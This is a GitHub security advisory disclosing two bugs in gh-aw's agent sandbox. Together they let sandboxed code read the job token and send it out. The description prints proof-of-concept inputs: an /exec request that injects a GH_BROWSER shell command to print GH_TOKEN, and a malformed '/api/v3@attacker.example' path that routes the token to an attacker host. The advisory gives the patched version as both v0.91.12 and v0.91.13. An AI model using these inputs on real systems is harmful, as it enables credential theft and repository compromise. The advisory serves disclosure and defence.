Skip to content

Sandboxed code can steal and silently exfiltrate the gh-aw job token

This report was submitted with AI assistance

Critical
pelikhan published GHSA-9jxf-w4wc-5g93 Oct 14, 2026

Package

No package listed

Affected versions

<v0.91.13

Patched versions

v0.91.13

Description

gh-aw's credential sidecars do not isolate the job token from code running inside the AWF sandbox. I reproduced two independent bugs in the default cli-proxy/mcpg path. Together, sandboxed code can obtain the job credential and send it to an arbitrary HTTPS host despite token stripping and egress filtering.

  1. cli-proxy merges an /exec caller's env into its own environment. GH_BROWSER is not protected. gh browse executes that value inside the sidecar, which holds GH_TOKEN, and returns stdout to the sandbox:
POST /exec
{"args":["browse","--repo","owner/repo"],"env":{"GH_BROWSER":"/bin/sh -c 'printenv GH_TOKEN'"}}

This returned the real ghs_ token from the credential-holding sidecar.

  1. gh-aw-mcpg strips /api/v3 without requiring a following slash, then concatenates the remainder onto https://api.github.com:
/api/v3@attacker.example/proof
→ https://api.github.com@attacker.example/proof

The URL parser treats api.github.com as userinfo and sends the request, including the job token, to attacker.example. I reproduced this from inside the real AWF agent path while direct sandbox egress to the same host was blocked. The receiver used the token to read the private test repository and create an issue with the workflow's permissions.

If a workflow supplies GH_AW_GITHUB_TOKEN, the exposed credential may be a long-lived fine-grained PAT instead of the job-scoped Actions token.

This is per-job credential compromise, not cross-tenant access to shared GitHub infrastructure. The practical attacker must get code executed inside AWF; default fork restrictions often make that attacker a collaborator rather than an arbitrary GitHub user.

Resolution

Fixed in gh-aw v0.91.12. The updated CLI proxy closes the exploit chain at
multiple boundaries:

  • /exec accepts only command arguments and bounded stdin. Caller-controlled
    environment variables, working directories, and unknown fields are rejected.
  • gh subprocesses receive an explicit server-owned environment with browser,
    editor, pager, alternate-host, and local-file escape paths disabled.
  • The sidecar no longer receives the ambient GitHub credential. gh uses a
    non-secret placeholder that the fixed-target HTTP shim removes before the
    external proxy applies its own credential.
  • Authority-changing API endpoint forms and commands that bypass the HTTP shim
    through git or SSH are rejected before execution.

These controls prevent sandboxed code from extracting the job credential or
reaching the malformed MCPG routing path through the gh-aw CLI proxy. The
implementation is tracked in
github/gh-aw-firewall#9940.

Users should upgrade to gh-aw v0.91.12 or later and recompile existing
workflows so their generated lock files select the patched runtime.

CVSS v4.0 severity assessment

CVSS-B 9.2 (Critical)

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:N

The vulnerable system is the per-job credential sidecar environment, not shared GitHub infrastructure. The attacker already has low-privilege execution inside AWF (PR:L); exploitation is local to that job (AV:L), deterministic without a race or additional execution prerequisite (AC:L, AT:N), and needs no further human action (UI:N). Attacker-selected browser-hook execution compromises the credential-holding sidecar, permitting disclosure, modification and termination of that service (VC:H, VI:H, VA:H). The subsequent system is the token-authorized GitHub repository: the report demonstrates private-repository disclosure (SC:H) and issue creation (SI:L). No subsequent-system availability loss is established (SA:N). More powerful optional PAT permissions are not assumed. This score describes affected versions before v0.91.12.

This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits